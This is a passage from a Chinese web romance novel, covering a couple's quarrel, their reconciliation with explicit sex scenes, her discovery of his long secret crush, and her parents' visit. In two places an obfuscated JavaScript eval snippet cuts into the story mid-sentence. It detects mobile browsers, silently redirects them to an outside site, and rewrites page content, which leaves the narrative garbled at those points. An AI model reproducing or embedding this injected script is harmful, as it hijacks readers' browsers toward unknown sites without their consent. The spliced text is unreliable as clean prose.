这并不是他的意思,是“分手”这个程度过重的词语让他失去了所有思考能力,让他被气到全身都痛,也忘了反驳她。 他猛地抬眼看向她,怔然间藏着浓郁的痛楚,不那么温柔地叫她:“姜至!” 她知道她在说什么吗? “分手”这个词也同样刺到了她,她没想说这么严重的,怎么可能想分手呢?脱口而出的那刹那就后悔了,但这场争执让她变成了刺猬,又开始不争气地哭了,她还真是不擅长吵架啊,“你总是这样,我想听什么你总是不说。” 他尝试理清自己的思绪,强忍着她的眼泪带给他的心悸,慢慢说:“我当然可以说,但我们不能那么做啊……总有解决办法的,我们都是成年人,要考虑的不只有我们彼此,还有父母家人呢,家人对你来说很重要的,不是吗?” 姜至捂住脸,抽泣着打断他:“那你就不重要了吗?我就不重要了吗?我们对彼此就不重要了吗?” 一句话,堵得李惟钧脑子空白一片,更忘了长嘴,完全忘了只要把自己预设的计划说出来,或许就能终止他们的争吵。 说啊,为什么不说呢? “这个问题很难回答吗李惟钧?” 李惟钧彻底乱了,乱到不知道事情是怎么发展到这个地步的,也不知道该怎么跟她解释,就这样僵在她面前,满脑子都是她说的“分手”。 姜至对他来说太重要,在他的生命里已经没什么人像她一样重要了。正因为这样,他需要底气站在她父母面前。 姜至忽然觉得这场架吵得很没劲,也很乱,吵来吵去都吵出点什么呢? 她抹了把脸,回到房间,把桌上散落的东西一股脑扫进行李箱里,衣柜里的衣服也没叠,胡乱一塞,用最快的时间出来,在李惟钧惊悸的目光里,冷声说:“我们都先冷静冷静吧,我改签了票,待会儿就走。” 李惟钧追出去的时候,只看到了出租车载着姜至扬长而去。 姜至没有看到李惟钧因为心慌而弓起的身体,她就这样不负责任地逃走了。 34.盛夏已至(中) 春运期间的票很紧张,尤其是回清潭的票,火车高铁全部售空一票难求,最近一个航班的机票价格比平时翻了好几番。 她本打算后天再走的,但实在憋屈,留在这儿干什么呢?接着吵架吗?他们两个都不会吵架,她都不知道刚才吵了点儿什么,纯属是给彼此找气生。 到机场,姜至也顾不上贵不贵的问题了,直接改签到了凌晨的一趟航班,机场人挺多,都是大包小包赶着回家过年的。 姜至看见那些西途特产,又想起李惟钧给她准备的那些,频频往安检口瞧,结果越想越气,越瞧越难受,要掉眼泪,闭上眼忍住了。脑海自动往坏处想,仿佛看见了未来的自己。 那时候她像现在这样孤零零离开西途,他或许也不会追过来,更不会开口挽留,他只会尊重她的选择,冷静地说,你还有父母呢。 姜至知道他这样想是对的,但她就是憋得慌,完全没有了清醒的思绪,满脑子都是她提了分手后李惟钧被击中的模样,向来温和沉稳的脸上因她而产生了一丝龟裂。 临上飞机前,姜至的目光还是忍不住往外找,但没等到人,却等来了微信: 【注意安全。】 姜至拼命眨着模糊的双眼,不就是分手吗?就说就说!气死他这个木头桩子! 落地后,姜至没回家,她在清潭有个一居室,是备考的时候任丽娟买给她的,想让她安心备考,没想到最后这房子成了她临时的避难所。 没敢回家,这副样子回家肯定会遭人盘问,她现在脑子不清楚,被盘问也只是会哭,那样对李惟钧没好处。 又是李惟钧! 气死他! 姜至提前回来的事只跟乔映谣说了,她当即就赶了过来,一见面,姜至抱着她嚎啕大哭。 然而,听完事情原委的乔映谣却说:“吓我一大跳,我以为你受了多大委屈呢。” 姜至用纸巾捂着脸,“这难道还不委屈吗?他都没挽留我!” 旁边人半晌没说话,姜至睁开红肿的眼,才发现乔映谣用一种说不清的目光看着她,“干嘛?你看我干什么?” 乔映谣啧啧嘴,很毒舌,“这就是谈恋爱的女人吗?这么会胡搅蛮缠,智商都得降低到平时一半了吧,你是不是快来例假,所以心情不好啊。” “……” 姜至没料到她居然不站在自己这边说话,一时哑了口,乔映谣问她:“真想分手?” “我当然不想啊!我都在考虑在西途长期工作了!” “那既然这样我就放心大胆说了啊,你现在冷静,冷静,听我分析。” 乔军师很公平地开口:“说实话至至,你有点没搞清状况,按照李惟钧的性格,你觉得他是那种放任事情往坏的地方发展却不管的人吗?” 一语中的,姜至当时完全没想过。 “再说,他为了你家人考虑也是很应该的呀,负责任的男人必须考虑到这一点,他要是不说这个我就劝你俩分手了,因为你俩本身离得就远,女方是容易受伤的一方,你在这边有家人还有房,不高兴了还能来自己的房里住,要是搬到他那边,孤家寡人一个,你俩吵架了你往哪走?我们暂时先这样做最坏的打算,真要遇到那种情况你怎么办?我不在西途,欣然姐也不在,能护着你的人都不在,就你自己一个人,你觉得不难过吗?” 姜至还是没说话,下意识想替李惟钧反驳,他不会让她自己一个人难过的,但看到现在自己的境况,却又找不到合适的话反驳。 “你俩说一顿就根本没在一个节奏上,建议你们俩搞不清楚状况以后就不要吵架。你想得太感性了,无非就是想听他一句挽留,想听他准备怎么解决,但他很理性,像他这样的闷葫芦性格虽然嘴上没说,但我觉得不一定没在考虑,越在乎就越谨慎,你还是太冲动了至至。” 很简单的一件事,怎么当时就没想清楚呢?姜至承认自己是个急性子的人,也被他惯的无法无天了,居然需要乔映谣一个局外人来帮她分析。 乔映谣抱住姜至,“这也不是你的错,谈恋爱吵起架来确实容易变得幼稚,失去理智,我之前比你还严重,冷静下来好好想想吧,真的不想放弃的话,就去给他打个电话,这可不是先低头哦,而是给你们俩一个台阶下。” 没能抵挡住一晚没睡的疲倦,姜至哭累了,迷迷糊糊睡在沙发上。 乔映谣要赶去上课,离开之前跟姜至说她叫了外卖,待会儿听着点手机,她半梦半醒间应了声,快要陷入深度睡眠时,又猛地被惊醒。 有人在敲门,手机也在响。 外卖到了,姜至披着毯子起身,打开门,却愣在门口。 穿堂风呼啸而过,姜至被冻了一个激灵,打了个颤,怀疑是自己做梦。 哗啦一下,毛毯堆在脚边,腰被用力扣住,她像是被李惟钧粘在胸膛里,踮起脚仰着头和他接吻。 他在咬她,用了点劲儿,姜至感觉到痛,舌根也麻,意识到现在不是在做梦,她根本呼吸不过来也承受不住这样激烈的吻,眼角溢出生理性的眼泪。 李惟钧松开她,呼吸像是被点燃,落在她脸颊上,烫的人快要融化在他的身体里,眼泪也像不要钱一样往下掉。 她倒在他怀里闷闷地哭,“你怎么来了呢……这么远,你怎么就来了呢?” “不远,清潭也是我的家。”他一只手握着她的腰,一转身,放在旁边的置物架上,双手捧着她的脸说:“我们说好了吵架不隔夜不冷战,有事及时解决。” 她忘了,她都忘了,这么重要的事情怎么可以忘掉呢? 姜至埋在他肩头不肯看他,心脏更痛了,呜咽着,“我不是故意的,没有想要跟你分手,是我错了,你骂我吧,罚我吧,我不想那样气你的,以后我再也不提那两个字了。我就是矫情地想听你说一句,姜至,我需要你,你能不能留在西途?我真的不是故意的……以后我再也不气你了。” “我也有错,”他尝试把她的脸剥出来,但她始终用手捂着,或许是觉得自己说过的话很过分,没脸见他,咸涩的泪珠从指缝间落下来,李惟钧抹掉,慢慢亲着她的手背,“对不起,我没有当时就追上你,机场没有直飞的票了,我从别的地方起飞才耽误了点时间,还有,没能及时告诉你,因为我不想事情还没落定就让你跟着操心,是我没照顾到你的感受,现在听我说好吗?我已经在准备找清潭的工作了,也正在把生活重心往这边挪,前段时间出差就是在参加面试,至至,你要相信我,我是想和你有未来的,所以我总得有个最稳定最合适的工作和生活,才能跟你谈未来吧,我一直想着等确定了再说……是我让你没安全感了,原谅我这一次,行吗?” 呆滞一瞬,她还是抽噎着哭,瓮声瓮气地重复:“我绝对不会再冲动了,你不要生我的气好不好。” 李惟钧无奈地沉沉肩,捋着她的长发,顺着她的背脊,“至至,不是说罚你吗?你这样我怎么亲你呢?” 姜至放下手,用满是泪痕的脸贴住他,用力印上双唇,炙热的鼻息交融,像交战的士兵一样啃咬着彼此,分不出胜负,舌尖绞着,每一次呼吸都打上了关乎对方的烙印,用亲密的痛楚做出惩罚。 李惟钧哑声说:“亲眼泪的感觉真的很不好,以后不哭了好吗?” 真正的外卖来了,李惟钧把门开了个缝隙,接过外卖正想问姜至吃不吃,她双腿盘住他的腰,接着黏上来,带着哭腔的语气还未消散,听得人心软不已,“我真的很喜欢你,从来没有像这样喜欢过一个男人,你还愿意陪我一辈子吗?” 一辈子吗? 李惟钧被这句话狠狠攥了下,浑身变得软乎乎,干涩的喉结滚了滚,忍着鼻腔的酸意,给出他能给出的最诚恳的回应:“我爱你,姜至。” 姜至的耳朵嗡地麻了,鼻子一酸,又想哭,被李惟钧堵回去,他依旧强势,在用另一种方式表达具象的爱,她下意识迎合他,紧紧贴着他的腰腹,激烈失控的吻再次夺走他们的呼吸。 她在换气的间隙要求李惟钧:“别走,要好好爱我。” 恒温的屋子好像在这个隆冬时节迎来炎热漫长的夏季,每分每秒似乎都在接受烈日的炙烤,衣服带起的风刮过身体,带来一瞬清凉。 很快,光洁的身体又被毛茸茸的毯子裹住,姜至挂在他身上不肯离开,他们倒在夏天暖洋洋的温度里,十指紧扣的掌心湿得像海。 直到湿漉漉的那片海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15415812|162792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落在身体上,姜至才意识到真正的夏天来了。 舌尖和皮肤接触的感觉原来是这样的吗? 腰被托起,身体弓起一道漂亮的弧线,令人作乱的柔软弧度在李惟钧眼前晃动着,姜至哆嗦着视线往胸前扫了眼,恰巧对上他舔咬着看过来的目光,惠风和畅的午后,一切都无从躲避,什么都看得清晰,她颤着声音说:“好奇怪……” 真的好奇怪,痒,麻。 李惟钧的动作停下,双臂交叉向上脱掉衣服,精壮的身体紧贴着她的,每声喘息都让姜至觉得更燥。 真正的水流从头落到脚,舒缓了烈日带来的燥热,却又让人红了脸,李惟钧的呼吸落在她挂满水珠的皮肤上,灼热的气息喷洒在肩颈,再缓缓往下,落在起伏之上,又来到小腹,肚子像是烧了一团火。 蒸腾的雾气模糊了浴室的镜子,在她的手掌因为克制不住而胡乱扫过去时,被拭去的水雾将镜子中的画面清晰地展现在姜至眼前。 他蹲在她面前,头发长了,没之前那么扎人,沾了水的乌黑发丝挠过大腿,印上来的吻舒缓了细微的痒意,姜至瑟缩了下,心口跳得厉害,那里一张一翕,似乎跳得比心脏还要厉害。 李惟钧却略过那里,锐利的眉眼紧紧盯着她,在姜至放下手臂,朝他看过来,他低下头,亦看着她,唇舌朝那里印上去。 脑子里炸开一片烟花,姜至头晕目眩地喘着气,喉咙里溢出的声音让她感到羞赧,洗漱台上的东西劈里啪啦掉了一地。 洗澡花费了很长时间,但李惟钧似乎在掐着点儿,姜至被他裹得严严实实出来,他的手机正好响起来,但没接,把凉透的粥带到厨房热了下。 姜至媚眼如丝,软软地趴在沙发上,感觉双腿已经没力气了,“我不饿。” 李惟钧没说话,药袋被挂在门把手上,里面沉甸甸几盒,他把东西放在桌上,单手捞起姜至,“不饿也喝点儿。” 姜至喝了几口就推开,“不要了。” “你会没体力的。”他说。 视线落在桌上的药袋里,外卖单据上写的是什么呢?姜至明白他这话什么意思了,咬住唇,他故意问她:“不想要我好好爱你了?” 跟谁学的这么说话? 姜至最终还是把粥喝掉了,八宝粥放了很多糖,甜丝丝的味道在两个人口腔蔓延,压抑许久的呼吸和心跳已然彻底被释放,刚洗过的澡根本没什么用,她又出了一身汗,干燥的吻让她变得水淋淋,地板一片水渍,她捂着眼睛,满眼都是李惟钧抬起头时嘴边的水光,瓮声瓮气地说:“不要了……” 她……她为什么会变得那样呢? “很棒,宝宝。”但李惟钧真停了,很听话,尽管自己难受得像块烙铁。 怎么就停了呢?姜至弓着足尖,哆哆嗦嗦地说:“你……你也很棒。” 李惟钧短促地哼笑了声,咬住她的嘴唇,舌尖轻轻勾了下,“说的是它?” 她问:“别的呢?” 他下颌坠着汗珠,已经忍到了极致,沉默了瞬,“别撩我了,行吗。” 都这样了……姜至隐隐有个猜测,难不成他是虚张声势?脸颊绯红着说:“你,你不会……要不要我来?” 李惟钧看着她,半晌没吭声,沙发上的抱枕被他从屋外拿进卧室垫到她腰下,他捉住她的脚踝拽到身前,又去吻她的唇。 …… “是哪里?”他观察着她的表情,发力时绷紧的腹肌块垒分明,在刚刚的某一刻,她露出了极致的欢愉,“你要告诉我,宝宝。” 她不知道,只知道轻哼着让他吻她。 他哪里不会了,才不是白痴。 姜至努力将涣散的视线集中起来,然后她就看到了他眼底浓浓的,化不开的爱。 她有几秒钟的怔愣。 那种小心翼翼,视若珍宝的爱,似乎还掺杂了别的? 她没有精力再去思考,汹涌的浪潮一波又一波朝她袭来。 冬天的夜来得很早,姜至看见斜斜的落日照在他们十指相缠的手上,又看见皎洁的月光探进屋里。地板上,相拥的两道身影起起伏伏,他们不知疲倦,在月光下颤抖地把所有所有都交付给彼此。 35.盛夏已至(下) 盛夏已至(下) 姜至还记得第一次和李惟钧接吻时,她教给半生不熟的他: 嘴巴不要闭那么紧。 在她的印象中,李惟钧一直是个很能纵容很能克制的男朋友,独处时无论她对他做出什么“过分”的举动,他都能笑着把她的玩闹接纳下来,然后也顾不得自己的不对劲,就去取悦她,极少数几次会由着她的性子让她取悦自己。 似乎是害羞,又似乎是生疏。 姜至一直以为他在这方面会生疏到底。 哎,还是太低估他了。 姜至盯着窗外的大太阳发了好几分钟愣。身旁已经空了,伸手一摸已经没了那股熟悉的体温,屋子里很安静,姜至想,如果不是腿酸到抬不起来,她或许会认为自己昨晚做了场美梦。 正回想着那番美梦,美梦的男主角推开房门,“醒了?” 姜至意识到自己居然在白日宣.淫,嗖一下把被子盖过脑袋,李惟钧看得心里发笑,坐在床边轻轻把人往怀里抱,被子被她卷成一团使劲裹脑袋,小腿和脚就盖不住了,李惟钧扫了眼,小腿肚上留有他用力的痕迹。 他摸了摸那圈红印,关心道:“疼吗?” 半天,被子里传来闷声:“倒也没有,就是没力气。” 姜至闷得透不过气,红着脸把被子扯开,对上李惟钧温柔的目光。 然后……脸更红了,怎么也无法把现在这个男人和昨晚的男人联系在一起。 最一开始,他会哄会停,但凡她脸上有一点不适他都会耐心地问,再然后……就是会哄但不停了。 会哄的是他,不停的是她。 姜至羞燥地想,她算是完了。 李惟钧把被子往下拽了拽,给她遮住脚,“我抱你起床吃饭?” “我会吃的,但我现在想睡个回笼觉。” “吃完再睡吧,你昨晚就说自己肚子快饿扁了。” 当时运动量太大,但现在已经饿过劲儿了,姜至摇头,还想让他一起躺床上,“你也再睡一会儿。” “就吃半碗,吃完立马睡。” 她不吭声,看着他冒出来的淡淡的胡茬,该往家里买些男士用品了啊。 李惟钧在准时吃饭这方面很规律,看着她说:“要不你出来,要不我进去。” 话说得怎么那么不对劲呢?姜至红着脸,“你敢威胁我?” 他笑眯眯他把脸伸过去,“要不你再踹我一脚?” 其实踹过,昨晚她把腿翘在他的肩膀上的时候揣过。 真受不了了啊!她到底都在想些什么! 睡也睡不着了,姜至被李惟钧弄到餐桌上,吃完早饭,两个人出发回秋谷。 这个决定是昨晚睡前做下的。 昨晚姜至问他什么时候回西途,马上快除夕,再不回就晚了。 李惟钧没有订返程的机票,也就是说他没准备立马就走,“回去也是我一个人,我再陪你两天。” 姜至听得不舒服,李惟钧宽慰道:“我姐得回她公婆家,她公婆对她很好,拿她当闺女看,我很放心。” “每年都是你一个人吗?” “嗯,他们会叫我一起去过年,但我觉得不太自在,姐夫还有个弟弟,所以我每次都是在民宿过,往常过年的时候民宿有好多住店的。” 姜至往他怀里挤了挤,“那以后我跟你一起过。” 想好了,什么异地不异地都不是问题,两个人在一起无论在哪都是家。李惟钧说他在准备往清潭挪,而且方其澜全力支持,她说只要他们幸福,在哪里都无所谓。这更让姜至觉得她正在经历一段被人看好,被人祝福的感情,得更加珍重地把握住他。 也让她更加确定了一件事—— 她要考西途教育局。 但没想到首先不同意的就是李惟钧,他说:“太远了。” “谁说的?你过来都不觉得远。你不希望我放弃这边,换位思考一下,我也不希望你放弃你好不容易在西途得到的一切啊。” 他一副欲言又止的样子,显然又想到了很多事。 姜至感到心里暖融融的,“我知道你在顾虑什么,我父母家人都在这边,他们确实很重要,但是,你也很重要呀,而且我又不是不回来了,现在联系起来也很方便,想他们了一张机票就能随时飞回来。” 李惟钧还是不赞同:“你是他们掌上明珠呢,就这么跟我跑那么远?说实话,我是父母我也不愿意。” “我理解的,我会好好跟我爸妈聊一聊。但最主要的是,我也很舍不得西途的孩子,所以我才想在那边接着搞教育,这不是我心血来潮,前几年的岗位分数我都已经查过了,以我在清潭的成绩来看,稳稳上岸。大家都挤破了头想往东边考,无非就是因为这边不偏远,但西途其实也不差。” 李惟钧看着她真挚的双眼,一时间都不知道该说什么。 “你不要有压力哦,我想去西途并不只是因为你,还有我那三个班的学生,我真的不想留在清潭一次一次看着我自己差零点几分进面了,很打击人的。” 李惟钧静了片刻,“你准备你的,我接着准备我的。” 姜至给了他一个没听懂的眼神。 “想留在西途就留,不想留在西途我还能陪着你再回来。”他偏头吻了吻她的唇角,“你是自由的。” …… 这个时间的秋谷年味十足,大街小巷都是赶大集买年货的人,姜至还从来没有逛过农村大集,和李惟钧一边逛一边吃,走到老家门口,他双手已经提满了东西,都是她买下来吃了一两口就塞给他的。 老房子常年没人住,也就李惟钧清明扫墓的时候回来待一个晚上,屋里的家具盖着防尘布,很多老物件已经锈迹斑斑,但李惟钧都留得好好的。 “冷吧。”李惟钧摸了摸姜至的手,找来一个电热油汀放在她腿边,研究了半天也没能打开,“可能是线受潮了,我先去给你灌一个热水袋,等会儿准备好东西咱们就去看我爸。” 姜至拽住他,“你先去准备东西吧,我在屋里走走就不冷了。” “那我赶紧,东西趁热吃,凉的就别动了。左边的屋是我的,你可以随便看看。” 隔壁屋空间不大,李惟钧小时候也没怎么在老房子住过,高考结束回来办丧事才把这间屋子腾出来收拾成他的卧室,只有一张床一个柜子和一张桌子,桌子还是老式的八仙桌,上面放了块玻璃,玻璃下压着一些黑白老照片。 姜至朝外扬声:“我可以看看老照片吗?” “可以!还有一部分在桌子下面的箱子里。”李惟钧说:“我去趟超市,就在前面,马上回来。” 姜至一边应声一边低头,八仙桌下放了三个大瓦楞纸箱,最前面那两个装着细碎的物件,有两套麻将,一套象棋,一把檀木算盘,一个上发条的老时钟,还有一些乱七八糟的日用品,相册压在最底下。 翻了翻,都是李惟钧爷爷奶奶的,还有李爸结婚时照下的,仅有一张照片上头有李惟钧,那时的他很稚嫩,脸肉乎乎,是他在医院陪护李爷爷拍的,祖孙三个人,在镜头里留下了唯一一张合影。 姜至越看越心酸,合上相册在地上蹲了会儿,沉默着去看最后面的箱子。 小学初中和高中的毕业照应该还留着吧,他说除了课本以外,其他东西都没丢,前面几个箱子都不是他的东西,姜至想,最后这个箱子里应该就是了吧。 一打开,果不其然,最上面是他用过的笔记本,高中的笔迹大气但没有现在那么连笔,笔锋很锋利,字如其人?姜至笑笑。他明明很温柔,字如其人在他身上并不适用。 下面压着的是一个厚厚的试卷收纳册,上面贴了标签,分门别类把各个学科的试卷做了整理。这种收纳册表面光滑,里面是透明的塑料袋,A4纸大小,特别爱起静电,经常吸头发,稍不注意还会把纸吸上。 姜至把收纳册拿出来,没想到时隔多年,它质量还真不错,静电依然有,还真的把一张B5大小的纸吸到了背面。 纸张已经泛黄了。 姜至一只手还拿着零食,这本收纳册又厚又沉,一只手不好操作,没拿稳,收纳册掉回箱子里,她还扯着纸张一角,“嘶啦”一声,坏了。 她都没使劲,或许是时间太长,纸已经失去了韧劲。 姜至把剩下的米花果塞到嘴里,小心翼翼把纸抽出来,却发现,这是一张成绩单,上面是全班所有人的成绩,每次家长会都发。 这张成绩单上的家长建议区写着: 愿惟钧继续保持,感谢老师和学校的用心栽培。 姜至瞳孔紧缩。 她立刻想起来了,这是她的成绩单,是李爸坐错位置签错的那张成绩单。 不知道为什么,她突然有一丝慌乱,心跳毫无章法地跳了起来,呆怔地盯着这张成绩单看了会儿,有道声音让她接着往下翻,接着看,或许还会有更多她不知道的秘密。 她平复了一会儿,再往下是招飞手册和他得过的奖状,从高一到高三一张都没丢,被奖状盖住的是一个文具套盒。 很精致,紫色的,不像是李惟钧用的东西,姜至用力吞了吞口水,打开。 盒里的东西还是崭新的,右下角放着一张平整的粉色便利贴,背胶已经不粘了,上面写着: 姜至,生日快乐。——李惟钧 姜至感觉自己的心脏似乎停止了跳动,周遭什么声音都没有了,耳朵嗡鸣,她在杂乱的思绪中使劲想,这是他什么时候准备的呢?为什么她不知道?但记忆里李惟钧只跟她说过一次生日快乐,难道是那次吗? 他都买了,为什么不送呢? 姜至已经不敢再往下看了,巨大的震撼让她脑子一片空白,她忽然想起李惟钧跟她说过的每一句“我喜欢你,姜至”,蓦地,眼眶就模糊了,然而她不知道自己为什么要哭。 整个箱子那么大,但是真正关于李惟钧的东西却很少,姜至发现从这个文具套盒往下,基本都与他无关了,而是和她有关—— 他珍藏着《情书》碟片和好几张《虹猫蓝兔七侠传》DVD碟片。 蓝兔是她用了一整个高中的头像,上大学之后就换掉了。 蓝色兔子,蓝色兔子……他头像上那只戴红围巾的蓝色兔子……还有那个橘子味的香薰蜡烛。 还有盛夏将至。 还有些什么呢?她记不起来了。但她知道,一定远远不止这些东西。 姜至的腿蹲麻了,坐到地上,闭着眼,泪珠断了线一样砸在手里这个迟来了很多年的生日祝福上,轻轻骂了声笨蛋。 她一直觉得她和李惟钧在西途相爱纯属是一场巧合带来的缘分,却不知道,这个缘分他已经等了很多很多年,大概从什么时候开始呢? 她忽然明白李惟钧为什么一直以来总是小心翼翼地对她了,牵手,拥抱,接吻,甚至做更多更亲密的事,不是他生疏,而是他……不敢。 小心翼翼暗恋了那么多年的人,放在心上偷偷喜欢了那么多年的人,当然要珍惜啊。 真的好笨啊。 怎么会有人笨拙地等她那么久呢? 没人会如此旷日持久地等一个人,除了李惟钧,因为这个世界上李惟钧最喜欢姜至。 没过多久,身后传来脚步声,姜至抱着箱子转头,李惟钧脸上的笑意瞬间凝滞,手里还抱着一杯给她暖手的热饮。 他走上前把人从地上拉起来,抽了张刚买的湿巾给她擦掉搬箱子沾染的灰尘,嘴上唠叨着:“我怕你着凉,你还往地上坐。” 姜至低着头,胸腔里的涩痛让她艰难地开口,“我都没有找到你的毕业照。” 李惟钧把热饮塞到她手里,是一杯鲜榨豆浆,有很浓郁的豆香味,他打开一边的立柜,“在这里。” 还有一部分东西被他塞到了柜子里,姜至还没看到。 但她已经不想看了,拉住李惟钧的衣襟,垂头抽泣了几声,鼻子前所未有的酸。 李惟钧托起她的脸颊,“你这两天哭得太多了。” 姜至问他:“我要是不来西途怎么办?” “那也没事,我去找你啊。” “要是我也没在清潭,你找不到我呢?” 他一遍一遍给她拭去眼泪,“你这么大一个人,我还能找不到?” 姜至替他难过,“李惟钧,你那么喜欢我,应该说出来啊,应该让我知道啊。” “嗯,我喜欢你,姜至。你现在知道了吗?” 她点点头。 李惟钧笑着抱住她,温声道:“那就不晚。” “还有什么?我要听你告诉我。” “那你别哭。” “……算了。”姜至叹口气:“你真的好笨。” 暗恋的人大概都笨吧,笨到因为那个人的开心而开心,因为那个人的难过而难过,因为那个人今天冲自己笑了一下,多看了一眼,就觉得整颗心都要飞起来了,笨到所有人都往前走了,他却还傻傻地等在原地,等着她。 李惟钧的胸膛忽而颤了颤,“那么多年了,你还是骂我笨。” “我之前骂过你笨?” 高二“希望之星”英语演讲比赛,她教他英语口语,明明是自己教得没了耐心,却甩锅叫他笨蛋; 高二学业水平考试,他教她地理题,明明是自己走神没听,却不想承认,甩锅嫌弃他教得不好,又叫他笨蛋。 太多次了,当时的他想,笨蛋就笨蛋吧,笨蛋在她眼里也是特殊的。 姜至破涕为笑,心酸又难过地说:“你果然是笨蛋。” 还好她来了西途,遇见了那么好的李惟钧,不然该有多遗憾呢?错过他就不会有人像他一样爱她了。 她指着地上散开的箱子,“我可以把它带到西途吗?” 说着,又改了个主意,“不,先拿回清潭的家里。” “好,你决定就好。不过这些都是高中用过的东西,没什么可看的。” “才不是呢,”姜至搂着他的腰反驳道:“那张成绩单很重要啊,那可是你暗恋我八年的情书。” 李惟钧摸摸她的头发。 “我们要永远永远永远在一起。”她说。 李惟钧告诉她:“我们永远不会分开。” 这是他们在一起的第256天,李惟钧愿意和姜至一生一世。 八年暗恋,得偿所愿。 * 年后,姜至带着那张成绩单情书回了西途。 虽然不是每天看,但也会时不时拿出来看两眼,每次看都觉得甜蜜,成绩单加了塑封,李惟钧的爱永远不会褪色。 他一直没闲着,说好在清潭站稳脚跟,就真的放手去做了,2019年年初,他跑断腿从清潭拉到一笔投资,把西途的工作划分了一部分到清潭。 “让爱回家”也和国内一家知名的生物科技公司联合,应用了一个更顶尖的科技,姜至听他说过一些,但没记住也没听懂,总之,网站的寻亲技术比以往上了一个层次,找孩子的难度也小了些。 睡在姜至上铺的夏老师国考笔面第一顺利上岸西途某个市直单位,如今已经是一级主任科员了,4月份,省考出了公告,今年西途一共招录9171个公务员。 微信倒是安静,过年的时候她已经在家里明确表示了,要带完这届学生再准备参加国省考,当然,考的是西途的岗,这期间也不会完全荒废掉行测和申论的学习,就是强度不会像以前一样那么大了。任欣然说得对,逼得太紧只会起反作用。 只是令人惊讶的是,任丽娟没有进行网络轰炸,而是直接和姜如锋来了西途,落脚地依旧是盛夏将至。 果然还是任丽娟,总是那么雷厉风行。 姜至很平和地回了民宿,很平和地给她和爸爸正式介绍李惟钧,或许是任欣然已经给他们讲了李惟钧这么个人,所以任丽娟倒没有摆出一副不好惹的架势,温和地同李惟钧打过招呼,照旧问她考公的事。 姜至感觉她非常淡然,淡然到再次坚定地说出自己决定考西途后,在面对妈妈黑得像锅底一样的脸时还能笑出来,说:“妈妈,在这里的每一分每一秒我都觉得很有价值,现在我教语文,开学之后又多了一门心理健康,这个课是校长特意让我给学生讲的,这里的女生们很多打小就没有妈妈,所以很多东西都得我来教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15426093|162792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,有时候我感觉她们依赖我就像依赖自己的妈妈。” “我说的每一句话他们都很认真去听,觉得特别珍贵。妈妈你没见过他们,他们特别善良,虽然一开始跟我不熟悉的时候不太喜欢我,但后来他们就期待我上的每一堂课,一下课就围着我聊天,有个女学生还说要去清潭上大学,因为清潭是我的家乡。” 想到罗珠,姜至下意识打开了话匣子,兴高采烈地分享道:“他们还把自己舍不得吃的零食水果给我,给我写了很多小纸条说喜欢我。我跟他们约好了要送他们去初中。” 任丽娟默默听着,没发表意见,倒是当了一辈子老师的姜如锋脸上的表情有所松动。 姜至继续说:“妈妈,这里没有你想象中那么的糟糕,每个人对我都非常好,有个学生叫卓玛,我刚开始当老师的时候差点把她弄丢,出去找她的时候还摔了一次,虽然很疼,但我心里特别开心,从那之后我就摸到怎么跟学生好好相处了,卓玛很招人疼,爸妈不管,奶奶带大的,有一次我带她去吃肯德基,她明明很想吃但是舍不得,吃了没几口就都带回家给她奶奶了,她奶奶非要给我钱,不让我走,硬要让我收着,说我还是个孩子呢。这里的人很淳朴,相处多了就知道了。” 任丽娟绷着一张脸听完,甩给她一句:“净跟我说这些甜言蜜语。” 又忍不住问:“摔哪儿了?伤好没有?” 她连忙说:“没受太严重的伤,脚扭了一下,李惟钧都没让我走路,我去哪儿他都抱着我。” 任丽娟朝姜如锋白了她一眼,还不忘替自己男朋友说好话,真行。 她恨铁不成钢,“我养你那么大,结果他就那么抱抱你,你就被降住了?” “不是,他……他真的很好。”姜至撒着撒着娇就差点就想把那个成绩单拿出来给她看,“上次我姐来的时候就找过他,他们俩说了什么我不知道,但能猜到。他很早就在打算放弃西途的工作去清潭重新开始,从我们刚在一起,他都在想这件事了。” “说这个不管用。我问你,如果以后你们俩闹了矛盾,到那种不可调和的地步,他后悔放弃一切去清潭,而且还因为这个埋怨你,你怎么办?我们不需要他这样付出所有。” 姜至紧蹙着眉,“妈妈,你要是这样想的话,那他怎么做都不能让人满意了,而且他也没有完全放弃,只是把一部分工作转移到清潭了,以后我们想在哪里生活就在哪里生活,我要是不想在西途待着就考遴选回清潭,他怎么样都能陪着我,他不是你说的那样的人,你不是还夸过他吗。” “是,我是夸过他,但情况不一样啊,你们俩要在一起了,我不能只看成绩吧!” 姜至瞬间明白了她什么意思,“我们不能这么欺负他的,他喜欢我很多年了,很早就喜欢我,不能仗着他喜欢我就欺负他。” “而且他不是没有家人的,他还有亲姐姐,如果不是被拐卖,他也会有很幸福的家庭。他爸爸是警察,抓了一辈子坏人却没能把自己儿子找回来,他妈妈曾经也是旅店的老板,因为找他才被迫一间间把旅馆卖掉,最后只剩下盛夏将至。” “就是这里,盛夏将至。” “盛夏将至还有我的名字。” 姜至哭得稀里哗啦。 回到屋里的李惟钧也忘了什么尊敬不尊敬,放下热茶壶牵住她的手。 看着两个人紧紧相缠的手指,任丽娟抽了几张纸,气呼呼道:“你哭什么?我骂你了?” 搞得她像棒打鸳鸯,任丽娟简直无语,故意装了个纸老虎,还真把人给唬住了。 